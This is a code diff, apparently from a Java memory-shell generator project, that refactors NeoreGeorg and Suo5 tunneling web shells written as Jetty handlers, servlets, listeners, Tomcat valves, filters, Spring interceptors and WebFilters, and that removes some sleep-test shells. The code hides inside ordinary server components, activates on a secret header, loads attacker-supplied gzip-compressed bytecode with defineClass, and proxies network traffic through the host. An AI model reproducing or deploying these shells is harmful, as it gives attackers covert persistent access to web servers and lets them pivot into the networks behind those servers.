if (value != null && value.contains(headerValue)) {
|
||||
if (baseRequest != null) {
|
||||
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
|
||||
}
|
||||
Object[] map = new Object[]{
|
||||
request,
|
||||
response,
|
||||
@@ -84,14 +75,22 @@ public class NeoreGeorgJettyHandler extends ClassLoader {
|
||||
namespace.put(chars, clazz.newInstance());
|
||||
}
|
||||
namespace.get(chars).equals(map);
|
||||
if (baseRequest != null) {
|
||||
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> load(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
|
||||
+32
-31
@@ -33,36 +33,6 @@ public class NeoreGeorgListener extends ClassLoader implements ServletRequestLis
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> load(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} finally {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestDestroyed(ServletRequestEvent sre) {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void requestInitialized(ServletRequestEvent sre) {
|
||||
@@ -93,11 +63,42 @@ public class NeoreGeorgListener extends ClassLoader implements ServletRequestLis
|
||||
}
|
||||
namespace.get(chars).equals(args);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
private Object getResponseFromRequest(Object request) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> load(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
GZIPInputStream gzipInputStream = null;
|
||||
try {
|
||||
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||
byte[] buffer = new byte[4096];
|
||||
int n;
|
||||
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
} finally {
|
||||
if (gzipInputStream != null) {
|
||||
gzipInputStream.close();
|
||||
}
|
||||
out.close();
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestDestroyed(ServletRequestEvent sre) {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
+7
-6
@@ -32,11 +32,6 @@ public class NeoreGeorgServlet extends ClassLoader implements Servlet {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> load(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
|
||||
@@ -66,10 +61,16 @@ public class NeoreGeorgServlet extends ClassLoader implements Servlet {
|
||||
}
|
||||
namespace.get(chars).equals(args);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> load(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
|
||||
+6
-7
@@ -29,12 +29,6 @@ public class NeoreGeorgUndertowServletHandler extends ClassLoader {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> load(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
|
||||
@Override
|
||||
public boolean equals(Object obj) {
|
||||
Object[] args = ((Object[]) obj);
|
||||
@@ -72,12 +66,17 @@ public class NeoreGeorgUndertowServletHandler extends ClassLoader {
|
||||
namespace.get(chars).equals(map);
|
||||
return true;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> load(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
|
||||
+10
-9
@@ -21,8 +21,6 @@ import java.util.zip.GZIPInputStream;
|
||||
public class NeoreGeorgValve extends ClassLoader implements Valve {
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
protected Valve next;
|
||||
protected boolean asyncSupported;
|
||||
|
||||
public static Map<String, Object> namespace = new HashMap<String, Object>();
|
||||
String chars = "yewVGo+BCvNsZrDIiKXMhkq5tFHuA9J/n2jclLdP873bOaYz1QfpTSExW64R0gUm";
|
||||
@@ -36,12 +34,6 @@ public class NeoreGeorgValve extends ClassLoader implements Valve {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> load(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void invoke(Request request, Response response) throws IOException, ServletException {
|
||||
@@ -69,11 +61,17 @@ public class NeoreGeorgValve extends ClassLoader implements Valve {
|
||||
namespace.get(chars).equals(args);
|
||||
return;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
this.getNext().invoke(request, response);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> load(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
@@ -94,6 +92,9 @@ public class NeoreGeorgValve extends ClassLoader implements Valve {
|
||||
}
|
||||
}
|
||||
|
||||
protected Valve next;
|
||||
protected boolean asyncSupported;
|
||||
|
||||
@Override
|
||||
public Valve getNext() {
|
||||
return this.next;
|
||||
|
||||
@@ -1,31 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.sleep;
|
||||
|
||||
import javax.servlet.*;
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/14
|
||||
*/
|
||||
public class SleepFilter implements Filter {
|
||||
public static int second = 10;
|
||||
|
||||
@Override
|
||||
public void destroy() {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void init(FilterConfig filterConfig) throws ServletException {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
|
||||
try {
|
||||
Thread.sleep(second * 1000);
|
||||
} catch (InterruptedException ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
-26
@@ -1,26 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.sleep;
|
||||
|
||||
import javax.servlet.ServletRequestEvent;
|
||||
import javax.servlet.ServletRequestListener;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/14
|
||||
*/
|
||||
public class SleepListener implements ServletRequestListener {
|
||||
private static int second = 10;
|
||||
|
||||
@Override
|
||||
public void requestDestroyed(ServletRequestEvent sre) {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestInitialized(ServletRequestEvent sre) {
|
||||
try {
|
||||
Thread.sleep(second * 1000);
|
||||
} catch (InterruptedException ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,45 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.sleep;
|
||||
|
||||
import org.apache.catalina.Valve;
|
||||
import org.apache.catalina.connector.Request;
|
||||
import org.apache.catalina.connector.Response;
|
||||
|
||||
import javax.servlet.ServletException;
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/14
|
||||
*/
|
||||
public class SleepValve implements Valve {
|
||||
private static int second = 10;
|
||||
|
||||
@Override
|
||||
public Valve getNext() {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setNext(Valve valve) {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void backgroundProcess() {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void invoke(Request request, Response response) throws IOException, ServletException {
|
||||
try {
|
||||
Thread.sleep(second * 1000);
|
||||
} catch (InterruptedException ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean isAsyncSupported() {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
@@ -31,7 +31,6 @@ public class Suo5 implements Runnable, HostnameVerifier, X509TrustManager {
|
||||
this.gOutStream = out;
|
||||
}
|
||||
|
||||
|
||||
@Override
|
||||
public boolean equals(Object obj) {
|
||||
Object[] args = ((Object[]) obj);
|
||||
@@ -40,25 +39,21 @@ public class Suo5 implements Runnable, HostnameVerifier, X509TrustManager {
|
||||
try {
|
||||
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
||||
String contentType = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, "Content-Type");
|
||||
if (value == null || !value.contains(headerValue)) {
|
||||
return false;
|
||||
}
|
||||
if (contentType == null) {
|
||||
return false;
|
||||
}
|
||||
if (contentType.equals("application/plain")) {
|
||||
tryFullDuplex(request, response);
|
||||
if (value != null && value.contains(headerValue) && contentType != null) {
|
||||
if (contentType.equals("application/plain")) {
|
||||
tryFullDuplex(request, response);
|
||||
return true;
|
||||
}
|
||||
if (contentType.equals("application/octet-stream")) {
|
||||
processDataBio(request, response);
|
||||
} else {
|
||||
processDataUnary(request, response);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
if (contentType.equals("application/octet-stream")) {
|
||||
processDataBio(request, response);
|
||||
} else {
|
||||
processDataUnary(request, response);
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException {
|
||||
@@ -281,7 +276,7 @@ public class Suo5 implements Runnable, HostnameVerifier, X509TrustManager {
|
||||
try {
|
||||
sc.close();
|
||||
respOutStream.close();
|
||||
}catch (Exception ignored) {
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
if (t != null) {
|
||||
|
||||
+11
-19
@@ -26,7 +26,6 @@ public class Suo5ControllerHandler implements Controller, Runnable, HostnameVeri
|
||||
InputStream gInStream;
|
||||
OutputStream gOutStream;
|
||||
|
||||
|
||||
public Suo5ControllerHandler() {
|
||||
}
|
||||
|
||||
@@ -37,29 +36,22 @@ public class Suo5ControllerHandler implements Controller, Runnable, HostnameVeri
|
||||
|
||||
public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
|
||||
try {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
String contentType = request.getContentType();
|
||||
if (contentType == null) {
|
||||
String contentType = request.getContentType();
|
||||
if (request.getHeader(headerName) != null
|
||||
&& request.getHeader(headerName).contains(headerValue)
|
||||
&& contentType != null) {
|
||||
if (contentType.equals("application/plain")) {
|
||||
tryFullDuplex(request, response);
|
||||
return null;
|
||||
}
|
||||
try {
|
||||
if (contentType.equals("application/plain")) {
|
||||
tryFullDuplex(request, response);
|
||||
return null;
|
||||
}
|
||||
|
||||
if (contentType.equals("application/octet-stream")) {
|
||||
processDataBio(request, response);
|
||||
} else {
|
||||
processDataUnary(request, response);
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
// System.out.printf("process data error %s\n", e);
|
||||
// e.printStackTrace();
|
||||
if (contentType.equals("application/octet-stream")) {
|
||||
processDataBio(request, response);
|
||||
} else {
|
||||
processDataUnary(request, response);
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
+15
-21
@@ -45,31 +45,25 @@ public class Suo5Filter implements Filter, Runnable, HostnameVerifier, X509Trust
|
||||
public void doFilter(ServletRequest sReq, ServletResponse sResp, FilterChain chain) throws IOException, ServletException {
|
||||
HttpServletRequest request = (HttpServletRequest) sReq;
|
||||
HttpServletResponse response = (HttpServletResponse) sResp;
|
||||
String contentType = request.getHeader("Content-Type");
|
||||
|
||||
if (request.getHeader(headerName) == null || !request.getHeader(headerName).contains(headerValue)) {
|
||||
chain.doFilter(sReq, sResp);
|
||||
return;
|
||||
}
|
||||
if (contentType == null) {
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
if (contentType.equals("application/plain")) {
|
||||
tryFullDuplex(request, response);
|
||||
String contentType = request.getHeader("Content-Type");
|
||||
if (request.getHeader(headerName) != null
|
||||
&& request.getHeader(headerName).contains(headerValue)
|
||||
&& contentType != null) {
|
||||
if (contentType.equals("application/plain")) {
|
||||
tryFullDuplex(request, response);
|
||||
return;
|
||||
}
|
||||
if (contentType.equals("application/octet-stream")) {
|
||||
processDataBio(request, response);
|
||||
} else {
|
||||
processDataUnary(request, response);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (contentType.equals("application/octet-stream")) {
|
||||
processDataBio(request, response);
|
||||
} else {
|
||||
processDataUnary(request, response);
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
// System.out.printf("process data error %s\n", e);
|
||||
// e.printStackTrace();
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
chain.doFilter(sReq, sResp);
|
||||
}
|
||||
|
||||
public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException {
|
||||
|
||||
+14
-20
@@ -36,30 +36,24 @@ public class Suo5Interceptor implements AsyncHandlerInterceptor, Runnable, Hostn
|
||||
@Override
|
||||
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
|
||||
try {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
String contentType = request.getContentType();
|
||||
if (contentType == null) {
|
||||
return true;
|
||||
}
|
||||
try {
|
||||
if (contentType.equals("application/plain")) {
|
||||
tryFullDuplex(request, response);
|
||||
return false;
|
||||
}
|
||||
String contentType = request.getContentType();
|
||||
if (request.getHeader(headerName) != null
|
||||
&& request.getHeader(headerName).contains(headerValue)
|
||||
&& contentType != null) {
|
||||
|
||||
if (contentType.equals("application/octet-stream")) {
|
||||
processDataBio(request, response);
|
||||
} else {
|
||||
processDataUnary(request, response);
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
// System.out.printf("process data error %s\n", e);
|
||||
// e.printStackTrace();
|
||||
if (contentType.equals("application/plain")) {
|
||||
tryFullDuplex(request, response);
|
||||
return false;
|
||||
}
|
||||
|
||||
if (contentType.equals("application/octet-stream")) {
|
||||
processDataBio(request, response);
|
||||
} else {
|
||||
processDataUnary(request, response);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
+15
-20
@@ -57,29 +57,24 @@ public class Suo5JettyHandler implements Runnable, HostnameVerifier, X509TrustMa
|
||||
try {
|
||||
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
||||
String contentType = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, "Content-Type");
|
||||
if (value == null || !value.contains(headerValue)) {
|
||||
return false;
|
||||
}
|
||||
if (contentType == null) {
|
||||
return false;
|
||||
}
|
||||
if (baseRequest != null) {
|
||||
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
|
||||
}
|
||||
if (contentType.equals("application/plain")) {
|
||||
tryFullDuplex(request, response);
|
||||
if (value != null && value.contains(headerValue) && contentType != null) {
|
||||
if (baseRequest != null) {
|
||||
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
|
||||
}
|
||||
if (contentType.equals("application/plain")) {
|
||||
tryFullDuplex(request, response);
|
||||
return true;
|
||||
}
|
||||
if (contentType.equals("application/octet-stream")) {
|
||||
processDataBio(request, response);
|
||||
} else {
|
||||
processDataUnary(request, response);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
if (contentType.equals("application/octet-stream")) {
|
||||
processDataBio(request, response);
|
||||
} else {
|
||||
processDataUnary(request, response);
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException {
|
||||
|
||||
+27
-35
@@ -34,6 +34,33 @@ public class Suo5Listener implements ServletRequestListener, Runnable, HostnameV
|
||||
this.gOutStream = out;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
try {
|
||||
String contentType = request.getContentType();
|
||||
if (request.getHeader(headerName) != null
|
||||
&& request.getHeader(headerName).contains(headerValue)
|
||||
&& contentType != null) {
|
||||
HttpServletResponse response = (HttpServletResponse) getResponseFromRequest(request);
|
||||
if (contentType.equals("application/plain")) {
|
||||
tryFullDuplex(request, response);
|
||||
return;
|
||||
}
|
||||
if (contentType.equals("application/octet-stream")) {
|
||||
processDataBio(request, response);
|
||||
} else {
|
||||
processDataUnary(request, response);
|
||||
}
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private Object getResponseFromRequest(Object request) throws Exception {
|
||||
return null;
|
||||
}
|
||||
|
||||
public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException {
|
||||
int bufferOffset = 0;
|
||||
while (bufferOffset < b.length) {
|
||||
@@ -538,39 +565,4 @@ public class Suo5Listener implements ServletRequestListener, Runnable, HostnameV
|
||||
public void requestDestroyed(ServletRequestEvent sre) {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
try {
|
||||
if (request.getHeader(headerName) != null
|
||||
&& request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpServletResponse response = (HttpServletResponse) getResponseFromRequest(request);
|
||||
String contentType = request.getContentType();
|
||||
if (contentType == null) {
|
||||
return;
|
||||
}
|
||||
try {
|
||||
if (contentType.equals("application/plain")) {
|
||||
tryFullDuplex(request, response);
|
||||
return;
|
||||
}
|
||||
|
||||
if (contentType.equals("application/octet-stream")) {
|
||||
processDataBio(request, response);
|
||||
} else {
|
||||
processDataUnary(request, response);
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
// System.out.printf("process data error %s\n", e);
|
||||
// e.printStackTrace();
|
||||
}
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private Object getResponseFromRequest(Object request) throws Exception {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
+11
-19
@@ -38,29 +38,21 @@ public class Suo5Servlet implements Servlet, Runnable, HostnameVerifier, X509Tru
|
||||
HttpServletRequest request = (HttpServletRequest) req;
|
||||
HttpServletResponse response = (HttpServletResponse) res;
|
||||
try {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
String contentType = request.getContentType();
|
||||
if (contentType == null) {
|
||||
String contentType = request.getContentType();
|
||||
if (request.getHeader(headerName) != null
|
||||
&& request.getHeader(headerName).contains(headerValue)
|
||||
&& contentType != null) {
|
||||
if (contentType.equals("application/plain")) {
|
||||
tryFullDuplex(request, response);
|
||||
return;
|
||||
}
|
||||
try {
|
||||
if (contentType.equals("application/plain")) {
|
||||
tryFullDuplex(request, response);
|
||||
return;
|
||||
}
|
||||
|
||||
if (contentType.equals("application/octet-stream")) {
|
||||
processDataBio(request, response);
|
||||
} else {
|
||||
processDataUnary(request, response);
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
// System.out.printf("process data error %s\n", e);
|
||||
// e.printStackTrace();
|
||||
if (contentType.equals("application/octet-stream")) {
|
||||
processDataBio(request, response);
|
||||
} else {
|
||||
processDataUnary(request, response);
|
||||
}
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+12
-18
@@ -31,7 +31,6 @@ public class Suo5UndertowServletHandler implements Runnable, HostnameVerifier, X
|
||||
this.gOutStream = out;
|
||||
}
|
||||
|
||||
|
||||
@Override
|
||||
public boolean equals(Object obj) {
|
||||
Object[] args = ((Object[]) obj);
|
||||
@@ -46,26 +45,21 @@ public class Suo5UndertowServletHandler implements Runnable, HostnameVerifier, X
|
||||
Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext);
|
||||
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
||||
String contentType = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, "Content-Type");
|
||||
if (value == null || !value.contains(headerValue)) {
|
||||
return false;
|
||||
}
|
||||
if (contentType == null) {
|
||||
return false;
|
||||
}
|
||||
if (contentType.equals("application/plain")) {
|
||||
tryFullDuplex(request, response);
|
||||
if (value != null && value.contains(headerValue) && contentType != null) {
|
||||
if (contentType.equals("application/plain")) {
|
||||
tryFullDuplex(request, response);
|
||||
return true;
|
||||
}
|
||||
if (contentType.equals("application/octet-stream")) {
|
||||
processDataBio(request, response);
|
||||
} else {
|
||||
processDataUnary(request, response);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
if (contentType.equals("application/octet-stream")) {
|
||||
processDataBio(request, response);
|
||||
} else {
|
||||
processDataUnary(request, response);
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
return true;
|
||||
return false;
|
||||
}
|
||||
|
||||
public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException {
|
||||
|
||||
+28
-38
@@ -27,8 +27,6 @@ public class Suo5Valve implements Valve, Runnable, HostnameVerifier, X509TrustMa
|
||||
|
||||
InputStream gInStream;
|
||||
OutputStream gOutStream;
|
||||
protected Valve next;
|
||||
protected boolean asyncSupported;
|
||||
|
||||
public Suo5Valve() {
|
||||
}
|
||||
@@ -38,6 +36,34 @@ public class Suo5Valve implements Valve, Runnable, HostnameVerifier, X509TrustMa
|
||||
this.gOutStream = gOutStream;
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void invoke(Request request, Response response) throws IOException, ServletException {
|
||||
try {
|
||||
String contentType = request.getContentType();
|
||||
if (request.getHeader(headerName) != null
|
||||
&& request.getHeader(headerName).contains(headerValue)
|
||||
&& contentType != null) {
|
||||
if (contentType.equals("application/plain")) {
|
||||
tryFullDuplex(request, response);
|
||||
return;
|
||||
}
|
||||
|
||||
if (contentType.equals("application/octet-stream")) {
|
||||
processDataBio(request, response);
|
||||
} else {
|
||||
processDataUnary(request, response);
|
||||
}
|
||||
return;
|
||||
}
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
this.getNext().invoke(request, response);
|
||||
}
|
||||
|
||||
protected Valve next;
|
||||
protected boolean asyncSupported;
|
||||
|
||||
@Override
|
||||
public Valve getNext() {
|
||||
return this.next;
|
||||
@@ -57,42 +83,6 @@ public class Suo5Valve implements Valve, Runnable, HostnameVerifier, X509TrustMa
|
||||
public void backgroundProcess() {
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void invoke(Request request, Response response) throws IOException, ServletException {
|
||||
try {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
String contentType = request.getContentType();
|
||||
if (contentType == null) {
|
||||
this.getNext().invoke(request, response);
|
||||
return;
|
||||
}
|
||||
try {
|
||||
if (contentType.equals("application/plain")) {
|
||||
tryFullDuplex(request, response);
|
||||
this.getNext().invoke(request, response);
|
||||
return;
|
||||
}
|
||||
|
||||
if (contentType.equals("application/octet-stream")) {
|
||||
processDataBio(request, response);
|
||||
} else {
|
||||
processDataUnary(request, response);
|
||||
}
|
||||
} catch (Throwable e) {
|
||||
// System.out.printf("process data error %s\n", e);
|
||||
// e.printStackTrace();
|
||||
}
|
||||
} else {
|
||||
this.getNext().invoke(request, response);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
this.getNext().invoke(request, response);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException {
|
||||
int bufferOffset = 0;
|
||||
while (bufferOffset < b.length) {
|
||||
|
||||
+5
-5
@@ -51,17 +51,17 @@ public class Suo5WebFilter implements WebFilter {
|
||||
if (contentType == null) {
|
||||
return chain.filter(exchange);
|
||||
}
|
||||
|
||||
if (contentType.toString().equals("application/plain")) {
|
||||
return request.getBody().flatMap(databuffer -> response.writeWith(Mono.just(databuffer))).then();
|
||||
}
|
||||
try {
|
||||
if (contentType.toString().equals("application/plain")) {
|
||||
return request.getBody().flatMap(databuffer -> response.writeWith(Mono.just(databuffer))).then();
|
||||
}
|
||||
|
||||
if (contentType.toString().equals("application/octet-stream")) {
|
||||
return newfullProxy(request, response);
|
||||
} else {
|
||||
return newHalfProxy(request, response);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
return Mono.empty();
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user